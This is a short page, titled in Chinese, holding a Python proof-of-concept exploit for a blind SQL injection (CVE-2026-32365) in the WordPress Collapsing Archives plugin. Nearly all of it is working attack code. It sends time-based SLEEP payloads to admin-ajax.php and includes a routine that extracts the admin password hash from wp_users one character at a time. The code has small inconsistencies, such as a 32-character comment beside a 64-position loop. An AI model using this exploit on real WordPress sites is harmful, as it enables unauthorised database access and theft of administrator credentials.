WordPress Collapsing Archives插件SQL注入漏洞（CVE-2026-32365）

import requests import time # CVE-2026-32365 Blind SQL Injection PoC # Target: WordPress site with Collapsing Archives plugin <= 3.0.7 target_url = "http://target-site.com/wp-admin/admin-ajax.php" def blind_sql_inject(payload): """Execute blind SQL injection and return result based on response time""" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = { "action": "collapsing_archives", "custom_field": payload } start_time = time.time() response = requests.post(target_url, data=data, headers=headers, timeout=30) elapsed_time = time.time() - start_time return elapsed_time > 5 # True if time-based blind injection successful def extract_char(position, ascii_value): """Extract a single character from database using blind injection""" # Payload to test if ASCII value at position matches payload = f"test' AND (SELECT CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1))={ascii_value}) THEN SLEEP(5) ELSE 0 END)-- -" return blind_sql_inject(payload) def extract_admin_password(): """Extract admin password hash using blind SQL injection""" password_hash = "" charset = "0123456789abcdef" for pos in range(1, 65): # MD5 hash is 32 characters for char in charset: ascii_val = ord(char) if extract_char(pos, ascii_val): password_hash += char print(f"Position {pos}: {char} (Hash: {password_hash})") break return password_hash # Example: Test if vulnerability exists test_payload = "test' AND SLEEP(5)-- -" if blind_sql_inject(test_payload): print("[+] Vulnerability confirmed! Blind SQL Injection is possible.") print("[*] Extracting admin password hash...") # admin_hash = extract_admin_password() # print(f"[+] Admin password hash: {admin_hash}") else: print("[-] Target may not be vulnerable or plugin not installed.")